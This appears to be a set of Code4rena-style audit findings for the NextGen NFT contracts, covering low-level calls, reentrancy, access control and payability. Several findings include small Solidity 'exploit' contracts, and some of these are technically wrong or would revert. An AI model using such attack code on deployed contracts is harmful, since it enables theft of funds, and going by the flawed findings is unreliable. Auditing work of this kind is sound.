Finally, we cast this bytes variable to bytes32 and return it.
If you run this function, you will see that the returned bytes32 value is not the same as the original bytes value, demonstrating the potential for data loss due to the dubious type casting.
Location

Dubious typecast in NextGenRandomizerRNG.fulfillRandomWords(uint256,uint256[]) (smart-contracts/RandomizerRNG.sol#48-50):
bytes => bytes32 casting occurs in gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]],requestToToken[id],bytes32(abi.encodePacked(numbers,requestToToken[id]))) (smart-contracts/RandomizerRNG.sol#49)

Tools Used

VS Code.

Recommended Mitigation Steps

Use clear constants.

Assessed type

Invalid Validation

QA Report

See the markdown file with the details of this report here.

[M-02] Controlled low level call in the AuctionDemo contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L128
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/AuctionDemo.sol#L124-L130
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L139
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L134-L143

Vulnerability details

Impact

The contract is using call() which is accepting address controlled by a user.
This can have devastating effects on the contract as a call allows the contract to execute code belonging to other contracts but using it’s own storage.
This can very easily lead to a loss of funds and compromise of the contract.

Proof of Concept

Vulnerable claimAuction function

// Ln 104-120
    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

Exploit claimAuction low level call

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./auctionDemo.sol";

contract tauctionDemo {

   auctionDemo public x1;

   constructor(auctionDemo _x1) {

      x1 = auctionDemo(_x1);

   }

   function testLowCal() public payable {

      x1.claimAuction{value: 2 ether}(uint256(12));

   }

   receive() external payable {}

   }

Vulnerable cancelBid function

// Ln 124-130
    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

Exploit cancelBid function with low level call

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./auctionDemo.sol";

contract tauctionDemo {

   auctionDemo public x1;

   constructor(auctionDemo _x1) {

      x1 = auctionDemo(_x1);

   }

   function testLowCalB() public payable {

      x1.cancelBid{value: 2 ether}(uint256(24), uint256(12));

   }

   receive() external payable {}

   }

Vulnerable cancelAllBids function

// Ln 134-143
    function cancelAllBids(uint256 _tokenid) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) {
            if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][i].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid);
            } else {}
        }
    }

Exploit cancelAllBids function with low level call

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./auctionDemo.sol";

contract tauctionDemo {

   auctionDemo public x1;

   constructor(auctionDemo _x1) {

      x1 = auctionDemo(_x1);

   }

   function testLowCalD() public payable {

      x1.cancelAllBids{value: 2 ether}(uint256(24));
   }

   receive() external payable {}

   }

Tools Used

VS Code.

Recommended Mitigation Steps

Do not allow user-controlled data inside the call() function.

// Ln 116        
(bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
// Ln 128
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
// Ln 139
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");

Assessed type

call/delegatecall

[M-13] Return value of low level call not checked in RandomizerRNG contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/ff8cfc5529ee4a567e1ce1533b4651d6626d1def/smart-contracts/RandomizerRNG.sol#L79-L84

Vulnerability details

Impact

The return value of low level call is not checked.
If the msg.sender is a contract and its receive() function has the potential to revert, the code payable(admin).call{value: balance}(""); could potentially return a false result, which is not being verified. As a result, the calling functions may exit without successfully returning ethers to senders.
The emergencyWithdraw function does not check the return value of low-level calls.
This can lock Ether in the contract if the call fails or may compromise the contract if the ownership is being changed.
The following call was detected without return value validations in the emergencyWithdraw function.
(bool success, ) = payable(admin).call{value: balance}("");

Proof of Concept

Vulnerable emergencyWithdraw function

// Ln 79-84
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Vulnerable code snippet

// Ln 82
        (bool success, ) = payable(admin).call{value: balance}("");

Exploit low level call on emergencyWithdraw function

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./RandomizerRNG.sol";

contract tRandomizerRNG {

   RandomizerRNG public x1;

   constructor(RandomizerRNG _x1) {

      x1 = RandomizerRNG(_x1);
  
   }

   function testLowCal() public payable {

      x1.emergencyWithdraw{value: 3 ether}();

   }

   receive() external payable {}
      
   } 

Tools Used

VS Code.

Recommended Mitigation Steps

It's recommended to check the return value to be true or just use OpenZeppelin Address library sendValue() function for ether transfer.
See https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.3/contracts/utils/Address.sol#L64 .
Ensure return value is checked using conditional statements for low-level calls.
Conditional statements like require().

Assessed type

call/delegatecall

In the returnHighestBidder function, the highBid variable remains 0 throughout

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L86-L100

Vulnerability details

Impact

In the returnHighestBidder function, the highBid variable remains 0 consistently. As a result, any bid in the auction could potentially be higher than it, leading to incorrect identification of the highest bidder.

Proof of Concept

The value of highBid does not change, resulting in each bid being compared to 0 and no maximum bid being determined.
function returnHighestBidder(uint256 _tokenid) public view returns (address) {
@ uint256 highBid = 0;
uint256 index;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
@ if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {
@ index = i;
}
}
if (auctionInfoData[_tokenid][index].status == true) {
return auctionInfoData[_tokenid][index].bidder;
} else {
revert("No Active Bidder");
}
}

Tools Used

vs

Recommended Mitigation Steps

Similar to the returnHighestBid function, the highBid value should be updated after comparing the bid amounts.
function returnHighestBidder(uint256 _tokenid) public view returns (address) {
uint256 highBid = 0;
uint256 index;
for (uint256 i=0; i< auctionInfoData[_tokenid].length; i++) {
if (auctionInfoData[_tokenid][i].bid > highBid && auctionInfoData[_tokenid][i].status == true) {

           highBid = auctionInfoData[_tokenid][i].bid;

           index = i;
        }
    }
    if (auctionInfoData[_tokenid][index].status == true) {
            return auctionInfoData[_tokenid][index].bidder;
        } else {
            revert("No Active Bidder");
    }
}

Assessed type

Context

A malicious participant could disrupt an ongoing auction

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L69-L73

Vulnerability details

Impact

When a participant makes a bid by calling participateToAuction(), the highest bid so far is retrieved. The higest bid is calculated in a loop.

What a malicious participant could do to disrupt the auction, is to create many small bids in short succession (with a 1 wei step), so the auctionInfoData[_tokenid] array contains many elements. Benign participants aren't able to call participateToAuction() because it reverts with out-of-gas reason since returnHighestBid() has to loop through a huge array.

Proof of Concept

Tools Used

Manual review.

Recommended Mitigation Steps

The highest bid so far should be calculated incrementally inside participateToAuction() without looping through the whole auctionInfoData[_tokenid].

Assessed type

DoS

Artist payment addresses stored mutably, enabling privileged roles to divert funds in NextGenMinter contract.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L84
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L109
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L394

Vulnerability details

Impact

The proposed artist addresses are stored mutably in collectionArtistPrimaryAddresses and collectionArtistSecondaryAddresses. This allows privileged roles to modify the addresses before payment is made, diverting funds.

Proof of Concept

The artist addresses are stored in standard mutable mappings. The core issue is that the proposed artist addresses for royalty payments are stored mutably. This allows the addresses to be modified by privileged roles before payments are made, diverting funds away from the intended recipients.

Link to code
Link to code

  • The artist payment addresses are stored in standard mapping variables:
mapping (uint256 => collectionPrimaryAddresses) private collectionArtistPrimaryAddresses;

mapping (uint256 => collectionSecondaryAddresses) private collectionArtistSecondaryAddresses; 

proposePrimaryAddressesAndPercentages() sets the primary addresses: Link to code, Link to Code

  • These mappings can be updated multiple times by calling the proposal functions:
function proposePrimaryAddressesAndPercentages(
  uint256 _collectionID, 
  address _primaryAdd1,
  // ...
) public {

  // Set payment addresses
  
}

function proposeSecondaryAddressesAndPercentages(
   uint256 _collectionID,
   address _secondaryAdd1,
  // ...
) public {

  // Set payment addresses

}
  • There is no immutability guarantee protecting the proposed addresses once set.

A privileged role like owner or admin could call the proposal functions again before payment is made, and redirect the addresses to malicious accounts under their control.

Funds intended for the artist could be irreversibly redirected. This breaks the trust in the royalty payment mechanism of the contract.

A privileged role could call it again before payment:

// Original proposal
proposePrimaryAddressesAndPercentages(
  1, 
  artistAddress,
  0x0,
  0x0,
  100, // 100% share
  0,
  0
)

// Malicious admin modifies addresses before payment  
proposePrimaryAddressesAndPercentages(
  1,
  attackerAddress, // redirected to attacker 
  0x0,
  0x0,
  100, 
  0,
  0
)

Now the attacker address receives the funds instead of the artist.

Tools Used

Manual review

Recommended Mitigation Steps

  1. Use immutable storage via mapping(uint256 => address) private immutable proposedAddress

use immutable storage for the proposed addresses, by declaring them as:

mapping(uint256 => address) private immutable proposedAddress;

And setting them immutable after the artist signs off on the proposal.

  1. Set addresses immutable after artist approval

  2. Restrict proposal function access with onlyArtist modifier

Assessed type

Access Control

requestRandomWords() in RandomizerRNG and RandomizerVRF can't be called

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L41
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerVRF.sol#L53

Vulnerability details

Impact

requestRandomWords() in RandomizerRNG and RandomizerVRF can't be called because of a require that needs msg.sender to be gencore where gencore is the NextGenCore.sol contract.

However, the NextGenCore contract doesn't implement any functionality for calling requestRandomWords() which makes the functions uncallable and breaks the core functionality of the RandomizerRNG and RandomizerVRF contracts.

Proof of Concept

Let's take a look at the code of the requestRandomWords() functions.
In RandomizerRNG:

function requestRandomWords(uint256 tokenid, uint256 _ethRequired) public payable {
        require(msg.sender == gencore); <--

        uint256 requestId = arrngController.requestRandomWords{value: _ethRequired}(1, (address(this)));
        tokenToRequest[tokenid] = requestId;
        requestToToken[requestId] = tokenid;

    }

In RandomizerVRF:

    function requestRandomWords(uint256 tokenid) public {
        require(msg.sender == gencore); <--
        uint256 requestId = COORDINATOR.requestRandomWords(
            keyHash,
            s_subscriptionId,
            requestConfirmations,
            callbackGasLimit,  
            numWords
        );
        tokenToRequest[tokenid] = requestId;
        requestToToken[requestId] = tokenid;
    }

As you can see, the msg.sender needs to be the gencore contract. However, the current in-scope NextGenCore contract doesn't implement any calls to it, making the functions and the whole Randomizer contracts basically useless.

Tools Used

Manual review

Recommended Mitigation Steps

Add a function to NextGenCore.sol that utilizes requestRandomWords if you actually wish to use it. Or add a proper access control that enables users to use it.

Assessed type

Error

[M-01] Public burn in the NextGenCore contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L204-L209
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L213-L223

Vulnerability details

Impact

The contract is utilising a public burn function.
The function is not using an access control to stop other users from burning tokens.
And, the burn function is using an address other than msg.sender.

Proof of Concept

Vulnerable burn function code snippet

// Ln 204-209
    function burn(uint256 _collectionID, uint256 _tokenId) public {
        require(_isApprovedOrOwner(_msgSender(), _tokenId), "ERC721: caller is not token owner or approved");
        require ((_tokenId >= collectionAdditionalData[_collectionID].reservedMinTokensIndex) && (_tokenId <= collectionAdditionalData[_collectionID].reservedMaxTokensIndex), "id err");
        _burn(_tokenId);
        burnAmount[_collectionID] = burnAmount[_collectionID] + 1;
    }

Exploit burn function

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./NextGenCore.sol";

contract tNextGenCore {

   NextGenCore public x1;

   constructor(NextGenCore _x1) {

      x1 = NextGenCore(_x1);

   }

   function testBurn() public payable {

      x1.burn(uint256(35), uint256(25));

   } 

   }

Vulnerable burnToMint function code snippet

// Ln 213-223
    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

Exploit burnToMint function

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./NextGenCore.sol";

contract tNextGenCore {

   NextGenCore public x1;

   constructor(NextGenCore _x1) {

      x1 = NextGenCore(_x1);

   }

   function testBurnB() external payable {

      x1.burnToMint(uint256(4), uint256(8), uint256(24), uint256(32), uint256(24), address(_x1));

   } 

   }

Tools Used

VS Code.

Recommended Mitigation Steps

Utilise access control modifiers on the burn function to stop other users from burning your tokens.
Assign msg.sender to the from parameter of the burn function.

Assessed type

Access Control

[M-10] Reentrancy in the RandomizerVRF contract

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerVRF.sol#L94-L97

Vulnerability details

Impact

The reentrancy vulnerability uses the attack contract to call into the victim contract several times before the victim contract's balance updates.
Hence allowing the attacker to withdraw e.g. 2 ether when they only deposited 1 ether.
Which means double entry counting duplicate withdrawals for only one genuine withdrawal.

Proof of Concept

Vulnerable updateAdminContract function to reentrancy

// Ln 94-97
    function updateAdminContract(address _newadminsContract) public FunctionAdminRequired(this.updateAdminContract.selector) {
        require(INextGenAdmins(_newadminsContract).isAdminContract() == true, "Contract is not Admin");
        adminsContract = INextGenAdmins(_newadminsContract);
    }

Exploit Reentrancy

// SPDX-License-Identifier: MIT

pragma solidity >=0.8.19;

import "./RandomizerVRF.sol";

contract tRandomizerVRF {

   RandomizerVRF public x1;

   constructor(RandomizerVRF _x1) {

      x1 = RandomizerVRF(_x1);

   }


   function testRenterS() public payable {

      x1.updateAdminContract(address(_x1));

   }

   receive() external payable {

      msg.sender.transfer(payable(address(_x1)).balance);

   }

   } 

Tools Used

VS Code.

Recommended Mitigation Steps

All functions that are not internal and are making a call should have a reentrancy guard added to them.
Checks-Effects-Interactions should be applied to the functions.
Balance updates should be made at the beginning of the call.
The actual call should be made at the end of the function.
So that the balance is already updated first and reentrancy is not possible.

Assessed type

Reentrancy

Artist payment addresses can be changed without consent, enabling potential fraud in NextGenMinter contract.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380-L390
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L408-L411
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L380-L390
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L136-L139

Vulnerability details

Vulnerability Details

There is an issue with how artist payment addresses are stored and validated that could allow them to be changed without the artist's consent:

The key functions involved are:

The main problem is that proposePrimaryAddressesAndPercentages and acceptAddressesAndPercentages do not validate that the msg.sender is the original artist address when changing values.

For example, the artist could propose:

proposePrimaryAddressesAndPercentages(
  1, // collectionId
  0xArtistAddress1, 
  0xArtistAddress2,
  0xArtistAddress3,
  50, // percentages
  25,
  25
)

This would store their provided addresses in collectionArtistPrimaryAddresses.

But then any other address could call:

proposePrimaryAddressesAndPercentages(
  1, // collectionId
  0xHackerAddress1, 
  0xHackerAddress2,
  0xHackerAddress3,
  50, // percentages
  25, 
  25
)

And overwrite the original artist's payment addresses with the hacker's addresses.

When the admin accepts the addresses and tries to pay the artist, the royalties would actually go to the hacker's address instead of the real artist.

Proof of Concept

The core problem occurs in the proposePrimaryAddressesAndPercentages function of NextGenMinter.sol: Link to code

// NextGenMinter.sol

function proposePrimaryAddressesAndPercentages(
  uint256 _collectionID, 
  address _primaryAdd1,
  // ...
) public ArtistOrAdminRequired(_collectionID, this.proposePrimaryAddressesAndPercentages.selector) {

  // Store provided addresses into mapping
  collectionArtistPrimaryAddresses[_collectionID].primaryAdd1 = _primaryAdd1;

  // ...

}

It is saving the provided _primaryAdd1 address into the collectionArtistPrimaryAddresses mapping without verification.

The problem is because it allows anyone to provide a new address and overwrite the artist's original address.

For example, the artist could initially propose:

proposePrimaryAddressesAndPercentages(
  1, // collectionId
  0xArtistAddress1, 
  0xArtistAddress2,
  0xArtistAddress3,
  // ...
)

This would safely store 0xArtistAddress1 as the intended recipient of royalties.

But then a malicious user could call:

proposePrimaryAddressesAndPercentages(
  1, // collectionId
  0xHackerAddress,
  // ...
)

It would overwrite the original 0xArtistAddress1 with the 0xHackerAddress provided by the attacker.

Now when royalties are paid out by calling payArtist, they would go to the hacker's address instead of the real artist.

This is possible because proposePrimaryAddressesAndPercentages accepts addresses from anyone without verification. The ArtistOrAdminRequired modifier only checks if they are an admin or artist, but crucially does not check if msg.sender matches the original artist address.

Tools Used

Manual

Recommended Mitigation Steps

An additional check needs to be added to proposePrimaryAddressesAndPercentages to verify msg.sender matches the original artist address from when the collection was created:

// NextGenMinter.sol

mapping(uint256 => address) public originalArtist; 

// Set original artist when creating collection
function createCollection(...) public {
  ...
  originalArtist[collectionId] = artistAddress;
}


// Verify msg.sender matches original artist
function proposePrimaryAddresses(...) public {

  require(
    msg.sender == originalArtist[collectionId], 
    "Only original artist can update addresses"
  );

  // Rest of function
}

This would prevent the unauthorized changing of payment addresses.

Assessed type

Access Control

NextGenAdmins contract grants deployer global admin privileges without owner approval, posing unauthorized access risk.

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenAdmins.sol#L26-L28

Vulnerability details

Impact

In the NextGenAdmins contract, it allows adding admins without owner approval. In the constructor of NextGenAdmins, it sets the msg.sender as a global admin by default.

Proof of Concept

Whoever deploys the contract will automatically become a global admin with full privileges. The main problem is: Link to code

constructor() {
  adminPermissions[msg.sender] = true; 
}

This automatically sets adminPermissions[msg.sender] to true. This is granting global admin permissions to whichever address deployed the NextGenAdmins contract.

This is problematic because it allows the deployer to instantly become a super admin with full privileges over the contract and all connected systems without requiring any consent from the owner.

For example, if I deployed the contract from my address 0x9e918DC8d930B34de6F05ad918f1869f5e955FAF, then msg.sender would resolve to 0x9e918DC8d930B34de6F05ad918f1869f5e955FAF in the constructor. So adminPermissions[0x9e918DC8d930B34de6F05ad918f1869f5e955FAF] would get set to true, meaning my address is now a global admin.

I could then call restricted functions like registerAdmin and registerFunctionAdmin to add even more admin accounts. Or call registerCollectionAdmin to grant myself permissions on specific NFT collections.

The owner of the contract likely did not intend to automatically grant me those admin powers. But because of that single line in the constructor, I gained unauthorized access.

This could be triggered anytime someone deploys the contract. All they would need is enough ETH to pay gas fees. No other permissions are required.

Tools Used

Manual Review

Recommended Mitigation Steps

A safer approach would be to not automatically add the deployer as an admin, and instead require the owner to manually add the initial admin.

// NextGenAdmins.sol

constructor() {
  // don't auto add any admins
}

function addInitialAdmin(address _admin) public onlyOwner {
  // now require owner to manually add the first admin 
  adminPermissions[_admin] = true;
}

Removing the automatic admin addition in the constructor ensures that the owner must explicitly approve each admin rather than letting the deployer get auto-approved.

This could prevent a situation where someone maliciously deploys the contract and instantly becomes an all-powerful admin without the owner's consent.

The only way to add admins would then be for the owner to call the registerAdmin function, providing proper access control.

Assessed type

Access Control

It's possible to mint more NFTs than _maxAllowance due to lack of re-entrancy protection

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L189
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L195

Vulnerability details

Impact

Functions MinterContract.mint() and NextGenCore.mint() lack re-entrancy protection. Moreover, NextGenCore.mint() violates the CEI pattern. As a result it's possible to mint more NFTs than permitted by the _maxAllowance parameter for MinterContract.mint().

A user who is eligible for the NFT mint during phase 1 can call MinterContract.mint() and present Merkle proof along with other parameters, including _maxAllowance. The leaf should be in the Merkle tree and incorporate msg.sender, _maxAllowance, and _tokenData.

Furthermore, the user shouldn't mint more than _maxAllowance and gencore.retrieveTokensMintedALPerAddress(col, msg.sendert) holds the number of NFTs minted so far.

Eventually, gencore.mint() is called.

Yet in gencore.mint() the value of tokensMintedAllowlistAddress is updated only after mintProcessing() which internally invokes _safeMint() with a callback. Therefore, a malicious minter could exploit callback from _safeMint() to call MinterContract.mint() recursively with the same Merkle proof to mint any number of NFTs, bypassing _maxAllowance upper bound.

Proof of Concept

Tools Used

Manual review.

Recommended Mitigation Steps

Implement re-entrancy protection for MinterContract.mint() and NextGenCore.mint().

Assessed type

Reentrancy

11 low-level CALL bools not checked for failure

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L434
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L435
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L436
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L437
https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/MinterContract.sol#L438
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L113
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L116
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L128
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L139

Vulnerability details

Impact

11 low-level CALLs across 3 contracts not checked for failure. Will result in successful transaction even if the low-level CALLs fail.

Proof of Concept

2 examples below:

        (bool success1, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd1).call{value: artistRoyalties1}("");
        (bool success2, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd2).call{value: artistRoyalties2}("");
        (bool success3, ) = payable(collectionArtistPrimaryAddresses[colId].primaryAdd3).call{value: artistRoyalties3}("");
        (bool success4, ) = payable(tm1).call{value: teamRoyalties1}("");
        (bool success5, ) = payable(tm2).call{value: teamRoyalties2}("");
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd1, success1, artistRoyalties1);
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd2, success2, artistRoyalties2);
        emit PayArtist(collectionArtistPrimaryAddresses[colId].primaryAdd3, success3, artistRoyalties3);
        emit PayTeam(tm1, success4, teamRoyalties1);
        emit PayTeam(tm2, success5, teamRoyalties2);
    function emergencyWithdraw() public FunctionAdminRequired(this.emergencyWithdraw.selector) {
        uint balance = address(this).balance;
        address admin = adminsContract.owner();
        (bool success, ) = payable(admin).call{value: balance}("");
        emit Withdraw(msg.sender, success, balance);
    }

Recommended Mitigation Steps

Implement checks to REVERT if bool success == fail for any of the 11 CALLs, e.g.

if (!success) {
    revert();
}

Assessed type

call/delegatecall

NextGen can't work with RandomizerRNG because functions are not marked as payable

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L42

Vulnerability details

Impact

To work with the AARNG randomizer, one needs to send ETH to it for execution fee, and they refund if there's an excess amount sent. You can find more information about it here.

This is implemented correctly in the requestRandomWords function in RandomizerRNG:

    function requestRandomWords(uint256 tokenid, uint256 _ethRequired) public payable {
        require(msg.sender == gencore);
        uint256 requestId = arrngController.requestRandomWords{value: _ethRequired}(1, (address(this)));
        tokenToRequest[tokenid] = requestId;
        requestToToken[requestId] = tokenid;

    }

As you can see, we try to pass msg.value of _ethRequired, and the function is marked as payable.

However, none of the functions that call requestRandomWords are marked as payable, meaning there will be no ETH passed along to requestRandomWords which means that the call will always fail and we won't receive random words back.

Proof of Concept

NextGenCore.sol doesn't implement any functionality to call requestRandomWords directly, and given the require in the function require(msg.sender == gencore) means that the only way to call it is by calling a function from the NextGenCore contract that calls calculateTokenHash:

    function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) public {
        require(msg.sender == gencore); <--
        tokenIdToCollection[_mintIndex] = _collectionID;
        requestRandomWords(_mintIndex, ethRequired); <--
    }

As you can see, calculateTokenHash is not marked as payable, meaning that it won't pass any ETH to requestRandomWords and the call will fail.

Tools Used

Manual review

Recommended Mitigation Steps

You have to make sure that every function in the call chain ending at requestRandomWords is marked as payable for the ETH to be passed correctly to the ARRNG randomizer.

This means that calculateTokenHash which gets called in _mintProcessing in NextGenCore, which gets called in airDropTokens, mint, and burnToMint. All of these functions need to be payable in order for a user to be able to send msg.value and the msg.value to end up with requestRandomWords so the call executes successfully.

Assessed type

Payable

Lack of validation in low level calls

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/MinterContract.sol#L464
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/RandomizerRNG.sol#L82
https://github.com/code-423n4/2023-10-nextgen/blob/71d055b623b0d027886f1799739b7f785b5bc7cd/smart-contracts/AuctionDemo.sol#L113
